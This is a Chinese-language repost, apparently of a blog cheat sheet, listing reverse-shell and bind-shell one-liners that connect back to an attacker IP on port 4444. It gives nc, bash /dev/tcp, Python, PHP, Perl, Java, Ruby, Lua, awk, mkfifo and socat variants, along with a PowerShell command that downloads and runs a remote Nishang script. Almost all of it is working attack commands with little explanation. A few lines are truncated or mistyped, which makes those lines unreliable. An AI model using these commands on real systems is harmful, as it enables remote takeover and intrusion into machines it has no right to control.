ICode9

精准搜索请尝试: 精确搜索
首页 > 系统相关> 文章详细

各种反弹shell方法总结

2020-01-30 21:02:48  阅读:1375  来源: 互联网

标签:总结 bin shell nc 192.168 4444 174.130 反弹


获取shell的方法总结: shell分为两种,一种是正向shell,另一种是反向shell。如果客户端连接服务器,客户端主动连接服务器,就称为正向shell。如果客户端连接服务器,服务器想要获得客户端的shell,就称为反向shell。 反向shell通常在开启了防护措施的目标机器上,例如防火墙、端口转发等。 (1)正向shell 输入如下命令,监听目标主机的4444端口 nc -lvp 4444 -e /bin/bash // linux nc -lvp 4444 -e c:\windows\system32\cmd.exe // windows 在本地或vps主机上连接目标的4444端口,即可获得目标主机的shell nc 192.168.174.130 4444 (2)反向shell 输入如下命令,在本地或者vps主机上监听9999端口 nc -lvp 9999 在目标主机中输入如下命令,连接vps主机的9999端口 nc 192.168.174.130 9999 -e /bin/sh // linux nc 192.168.174.130 9999 -e c:\windows\system32\cmd.exe // windows 正向shell:本地或vps将自己的shell传给服务器(端口监听在服务器上)。 反弹shell:目标机器将shell主动传给本地或vps(端口监听在本地vps上)。   4.在目标主机中没有nc时获得反向shell (1)Python反向shell Python 2.7: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.174.130",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' (2)Bash反向shell 个人感觉最好用的用的方法就是使用的方法就是使用bash结合重定向方法的一句话 vps:nc -lvp 4444 bash -i >& /dev/tcp/192.168.174.130/4444 0>&1 (3)PHP反向shell php -r '$sock=fsockopen("192.168.174.130",4444);exec("/bin/sh -i <&3 >&3 2>&3");' (4)Perl反向shell perl -e 'use Socket;$i="192.168.174.130";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' 第二种方式(linux): perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.174.130:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' 第三种方式(windwos): perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"192.168.174.130:4444");STDIN->f   (5)Java脚本反弹shell 第一种: Runtime r = Runtime.getRuntime(); Process p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/192.168.174.130/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"}); p.waitFor(); 第二种: Runtime r = Runtime.getRuntime(); Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.174.130/4444 0>&1"}); p.waitFor();   (6)socat 反弹shell wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat chmod 755 /tmp/socat /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.174.130:4444 (7)Ruby反弹shell ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.174.130","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' 第二种方式(linux): ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.10.10.166","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' 第三种方式(windows): ruby -rsocket -e 'c=TCPSocket.new("10.10.10.166","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'   (8)Lua反弹shell lua -e "require('socket');require('os');t=socket.tcp();t:connect('192。168.174.130','4444');os.execute('/bin/sh -i <&3 >&3 2>&3');" (9)Awk反弹shell awk 'BEGIN{s="/inet/tcp/0/192.168.174.130/4444";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}' (10)exec反弹shell exec 5<>/dev/tcp/192.168.174.130/4444 cat <&5 | while read line; do $line 2>&5 >&5; done 第二种方式: 0<&196;exec 196<>/dev/tcp/192.168.174.130/4444; sh <&196>&196 2>&196   (11)nc反弹shell: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.174.130 4444 >/tmp/f (12)powershell反弹shell apt-get install powshell powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.174.130 -port 4444   (13)从原生的 shell 环境切换到linux的交互式 bash 环境 python -c "import pty;pty.spawn('/bin/bash')" 参考:https://www.anquanke.com/post/id/87017 https://www.cnblogs.com/sevck/p/5038203.html https://blog.csdn.net/qiuyeyijian/article/details/102993592 https://blog.csdn.net/Kevinhanser/article/details/88920278            

标签:总结,bin,shell,nc,192.168,4444,174.130,反弹
来源: https://www.cnblogs.com/micr067/p/12243860.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有